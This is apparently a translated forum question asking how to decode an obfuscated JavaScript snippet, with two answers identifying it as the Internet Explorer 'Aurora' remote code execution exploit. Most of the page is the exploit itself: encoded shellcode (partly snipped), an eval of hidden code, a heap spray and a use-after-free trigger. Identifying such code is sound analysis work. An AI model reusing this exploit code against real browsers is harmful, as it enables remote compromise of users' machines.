我怎样才能得到这个字符串可读？

Question

如何获得以下字符串可读？

var sc = unescape(" 
%u9090%u19eb%u4b5b%u3390%u90c9%u7b80%ue901%u0175%u66c3%u7bb9%u8004%u0b34%ue2d8%uebfa%ue805 
%uffe2%uffff%u3931%ud8db%u87d8%u79bc%ud8e8%ud8d8%u9853%u53d4%uc4a8%u5375%ud0b0%u2f53%ud7b2  %u3081%udb59%ud8d8%u3a48%ub020%ueaeb%ud8d8%u8db0%ubdab%u8caa%u9e53%u30d4%uda37%ud8d8%u3053 

    [ .. snip .. ] 

%ubcb9%ub2f6%ubfa8%u00d8"); 

所有代码：

var sc = unescape(" 
    %u9090%u19eb%u4b5b%u3390%u90c9%u7b80%ue901%u0175%u66c3%u7bb9%u8004%u0b34%ue2d8%uebfa%ue805 
    %uffe2%uffff%u3931%ud8db%u87d8%u79bc%ud8e8%ud8d8%u9853%u53d4%uc4a8%u5375%ud0b0%u2f53%ud7b2 
    %u3081%udb59%ud8d8%u3a48%ub020%ueaeb%ud8d8%u8db0%ubdab%u8caa%u9e53%u30d4%uda37%ud8d8%u3053 
    [ .. snip .. ] 
    %ua174%u3ee1%u1c40%uc755%u8fac%ud5be%u9b27%u7466%u4003%uc8d2%u5820%u770e%u2342%ucd8b%ub0be 
    %uacac%ue2a8%uf7f7%ubdbc%ub7b5%uf6e9%uacbe%ub9a8%ubbbb%uabbd%uf6ab%ubbbb%ubcf7%ub5bd%uf7b7 
    %ubcb9%ub2f6%ubfa8%u00d8"); 
var sss = Array(826, 679, 798, 224, 770, 427, 819, 770, 707, 805, 693, 679, 784, 707, 280, 
    238, 259, 819, 336, 693, 336, 700, 259, 819, 336, 693, 336, 700, 238, 287, 413, 224, 833, 
    728, 735, 756, 707, 280, 770, 322, 756, 707, 770, 721, 812, 728, 420, 427, 371, 350, 364, 
    350, 392, 392, 287, 224, 770, 301, 427, 770, 413, 224, 770, 427, 770, 322, 805, 819, 686, 
    805, 812, 798, 735, 770, 721, 280, 336, 448, 371, 350, 364, 350, 378, 399, 315, 805, 693, 
    322, 756, 707, 770, 721, 812, 728, 287, 413, 826, 679, 798, 224, 840, 427, 770, 707, 833, 
    224, 455, 798, 798, 679, 847, 280, 287, 413, 224, 714, 777, 798, 280, 826, 679, 798, 224, 
    735, 427, 336, 413, 735, 420, 350, 336, 336, 413, 735, 301, 301, 287, 224, 861, 840, 637, 
    735, 651, 427, 770, 301, 805, 693, 413, 875); 
var arr = new Array; 
for (var i = 0; i sss.length; i ++){ 
    arr[i] = String.fromCharCode(sss[i]/7); 
} 
var cc=arr.toString();cc=cc.replace(/ ,/ g, ""); 
cc = cc.replace(/@/g, ","); 
eval(cc); 
var x1 = new Array(); 
for (i = 0; i 200; i ++){ 
    x1[i] = document.createElement("COMMENT"); 
    x1[i].data = "abc"; 
} 
; 
var e1 = null; 
function ev1(evt){ 
    e1 = document.createEventObject(evt); 
    document.getElementById("sp1").innerHTML = ""; 
    window.setInterval(ev2, 50); 
} 
function ev2(){ 
    p = " 
    \u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d 
    \u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d 
    \u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d"; 
    for (i = 0; i x1.length; i ++){ 
    x1[i].data = p; 
    } 
    ; 
    var t = e1.srcElement; 
} 

Answer 1

你不能;这并不意味着要被读取。你可以知道，因为代码遍布整个地图。很可能它是浏览器缓冲区溢出攻击的一部分。

Answer 2

它说的Internet Explorer远程代码执行漏洞：

http://praetorianprefect.com/archives/2010/01/the-aurora-ie-exploit-in-action/